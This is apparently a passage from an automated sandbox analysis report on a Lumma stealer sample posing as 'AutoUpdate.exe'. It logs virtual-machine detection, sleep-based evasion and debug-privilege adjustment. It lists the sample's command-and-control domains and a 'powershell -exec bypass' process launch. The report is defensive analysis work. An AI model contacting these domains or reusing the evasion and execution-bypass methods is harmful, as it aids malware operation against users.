Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\AutoUpdate.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6456	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3329	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2651	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1580	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe TID: 3444	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe TID: 4476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep count: 6456 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2896	Thread sleep count: 3329 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5408	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5900	Thread sleep count: 2651 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6308	Thread sleep count: 1580 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000004.00000002.2041942659.0000000006FAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vntwith cxMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000004.00000002.2041942659.0000000006FAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UMSFT_NetEventVmNetworkAdatper.cdxmlP
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.000000000082B000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\AutoUpdate.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0301 mov edx, dword ptr fs:[00000030h]	0_2_02AA0301
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA08C1 mov eax, dword ptr fs:[00000030h]	0_2_02AA08C1
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0F10 mov eax, dword ptr fs:[00000030h]	0_2_02AA0F10
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0F11 mov eax, dword ptr fs:[00000030h]	0_2_02AA0F11
Source: C:\Users\user\Desktop\AutoUpdate.exe	Code function: 0_2_02AA0C71 mov eax, dword ptr fs:[00000030h]	0_2_02AA0C71

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: AutoUpdate.exe	String found in binary or memory: hungrypaster.click
Source: AutoUpdate.exe	String found in binary or memory: manyrestro.lat
Source: AutoUpdate.exe	String found in binary or memory: shapestickyr.lat
Source: AutoUpdate.exe	String found in binary or memory: wordyfindy.lat
Source: AutoUpdate.exe	String found in binary or memory: slipperyloo.lat
Source: AutoUpdate.exe	String found in binary or memory: tentabatte.lat
Source: AutoUpdate.exe	String found in binary or memory: bashfulacid.lat
Source: AutoUpdate.exe	String found in binary or memory: talkynicer.lat
Source: AutoUpdate.exe	String found in binary or memory: curverpluch.lat

Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="uwklrwoovwbtyj.fwdwdmxsqcmgi5ndc_cc6fod4boy-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <
Source: C:\Users\user\Desktop\AutoUpdate.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!doctype html> <!--[if lt ie 7]> <html class="no-js ie6 oldie" lang="en-us"> <![endif]--> <!--[if ie 7]> <html class="no-js ie7 oldie" lang="en-us"> <![endif]--> <!--[if ie 8]> <html class="no-js ie8 oldie" lang="en-us"> <![endif]--> <!--[if gt ie 8]><!--> <html class="no-js" lang="en-us"> <!--<![endif]--> <head> <title>suspected phishing site \| cloudflare</title> <meta charset="utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt ie 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte ie 10]><!--> <script> if (!navigator.cookieenabled) { window.addeventlistener('domcontentloaded', function () { var cookieel = document.getelementbyid('cookie-alert'); cookieel.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> warning</h4> <h2 style="margin: 16px 0;">suspected phishing</h2> <strong>this website has been reported for potential phishing.</strong> <p>phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">learn more</a> <form action="/cdn-cgi/phish-bypass" method="get" enctype="text/plain"> <input type="hidden" name="atok" value="uwklrwoovwbtyj.fwdwdmxsqcmgi5ndc_cc6fod4boy-1734996638-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">ignore & proceed</button> </form> </p> </div> <			Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
